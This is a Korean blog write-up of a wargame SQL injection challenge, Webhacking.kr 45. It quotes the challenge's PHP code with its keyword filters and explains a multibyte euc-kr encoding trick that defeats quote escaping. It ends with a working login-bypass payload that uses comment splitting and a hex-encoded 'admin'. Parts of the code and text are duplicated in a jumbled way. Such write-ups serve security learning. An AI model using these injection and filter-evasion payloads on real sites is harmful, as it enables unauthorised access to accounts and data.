Webhacking.k 45r-sql injection(mb_convert_encoding 취약점)
이전에 풀었던 50번 문제와 취약점도 비슷하고 상당히 유사하기 때문에 간단하게만 적겠습니다.
$_GET[id]=mb_convert_encoding($_GET[id],'utf-8','euc-kr');
50번에서 본 취약점이 발생하는 부분이고, %a1~%fe 였나를 ' 전에 쓰면 매직쿼터 모시기가 우회되어 쿼터 사용이 가능하다고 합니다.
if(eregi("admin",$_GET[id])) exit();
if(eregi("from",$_GET[id])) exit();
if(eregi("union",$_GET[id])) exit();
if(eregi("limit",$_GET[id])) exit();
if(eregi("union",$_GET[pw])) exit();
if(eregi("pw",$_GET[pw])) exit();
if(eregi("=",$_GET[pw])) exit();
if(eregi(">",$_GET[pw])) exit();
if(eregi("<",$_GET[pw])) exit();
if(eregi("from",$_GET[pw])) exit();$data=@mysql_fetch_array(mysql_query("select id from members where id='$_GET[id]' and pw=md5('$_GET[pw]')"));
if($data)
{
echo("hi $data[0]<br><br>");
if($data[0]=="admin") @solve();
}
if(eregi("from",$_GET[id])) exit();
if(eregi("union",$_GET[id])) exit();
if(eregi("limit",$_GET[id])) exit();
if(eregi("union",$_GET[pw])) exit();
if(eregi("pw",$_GET[pw])) exit();
if(eregi("=",$_GET[pw])) exit();
if(eregi(">",$_GET[pw])) exit();
if(eregi("<",$_GET[pw])) exit();
if(eregi("from",$_GET[pw])) exit();$data=@mysql_fetch_array(mysql_query("select id from members where id='$_GET[id]' and pw=md5('$_GET[pw]')"));
if($data)
{
echo("hi $data[0]<br><br>");
if($data[0]=="admin") @solve();
}
번에서 본 취약점이 발생하는 부분이고, %a1~%fe 였나를 ' 전에 쓰면 매직쿼터 모시기가 우회되어 쿼터 사용이 가능하다고 합니다.
$_GET[id]=mb_convert_encoding($_GET[id],'utf-8','euc-kr');
$data=@mysql_fetch_array(mysql_query("select id from members where id='$_GET[id]' and pw=md5('$_GET[pw]')"));
50번에서 했듯이 md5 부분은 주석으로 없애버리도록 합시다.
id=%a1'or id=/*
pw=*/admin#
$data=@mysql_fetch_array(mysql_query("select id from members where id='%a1'or id=/*' and pw=md5('*/admin#')"));
그럼 실질적으로는
@mysql_fetch_array(mysql_query("select id from members where id=''or id=admin
여기서 admin은 0x...... 나 char(x,x,x,x,x) 이런 형식으로 써주어야 합니다.
답: ?id=%a1'or id=/*&pw=*/0x61646d696e%23
0 개의 댓글